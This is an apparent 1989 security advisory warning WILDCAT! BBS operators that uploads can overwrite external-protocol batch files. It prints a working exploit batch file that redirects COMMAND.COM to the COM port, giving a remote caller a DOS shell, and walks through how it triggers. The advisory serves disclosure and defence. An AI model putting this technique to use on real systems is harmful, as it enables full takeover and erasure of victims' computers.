133 lines
3.9 KiB
Plaintext
133 lines
3.9 KiB
Plaintext
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WILDCAT!(tm) BBS system
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Security Emergency
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Documentation
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January 2, 1989
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Richard B. Johnson
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PROGRAM EXCHANGE
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(303) 440-0786
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There exists within the WILDCAT!(tm) external protocol pro-
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cedures the considerable possibility that somebody who is
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familiar with the system could execute a copy of COMMAND.COM
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and have full control of your computer, erasing or format-
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ting disks, and creating all kinds of havoc. Basically, any-
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thing that you could do from the keyboard can be done by the
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remote-user if he knows how to do it.
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Please read all the ".DOC" files in this archive and the
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archives included within. I also suggest that you implement
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LOG (LOG.ARC) if you haven't already done so. I was able to
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detect an attempt at breaching security on my own system.
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The only thing that prevented the hacker from getting to the
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DOS level was he didn't know what the "upload" filename was
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on my system. The LOG utility was what first called my
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attention to this problem.
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Note that I was able to log onto a system in Colorado as a
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new user and, within 60 seconds I was at the 'DOS' level. It
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had taken me only 20 seconds on my own system but I knew the
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names of the "upload" batch files and the communications
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adapter port being used.
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The problem is that the external protocol setup, as advised
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by Mustang Software, will allow an "upload" batch file to be
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replaced by a batch file of the same name during an upload!
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If your communications adapter port is COM1, and you use a
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batch file called JUP.BAT for JMODEM uploads, the hacker
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could upload the following JUP.BAT file:
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REM * hacker's special
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REM
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REM
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REM
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REM
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REM
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REM
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REM
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IF %3 == HACKER.TXT GOTO BREAK
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GOTO END
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:BREAK
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@ECHO OFF
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CTTY COM1
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COMMAND
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:END
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- 1 -
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It works this way. The first "upload" is a file called
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JUP.BAT. JMODEM (could be ZMODEM or any external protocol)
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dutifully overwrites the existing JUP.BAT and exits with no
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errors.
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COMMAND.COM, when executing a ".BAT" file opens then closes
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the file for each line in the file. COMMAND.COM "knows" that
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the last line was, perhaps, line 4. It therefore looks at
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line 5 for its next instruction. It executes one of the
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several "REM" statements, then exits at the ":END" label
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since the filename (%3) was not HACKER.TXT.
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The BBS system software regains control and, finding no file
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transferred, simply continues like nothing happened.
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The hacker then attempts to upload HACKER.TXT using the
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JMODEM protocol. JUP.BAT has been replaced with the hacker's
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new version. Since the %3 parameter is now HACKER.TXT, the
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batch file branches to label ":BREAK". The console input is
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redirected to the COM1 port and an additional copy of
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COMMAND.COM is loaded with its I/O having been redirected to
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the COM1 port.
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Of course the hacker has not executed any external protocols
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on his system. He's just sitting there in terminal-mode in
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full control of your system.
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Caveat modulus carborundum.
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- finis -
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- 2 -
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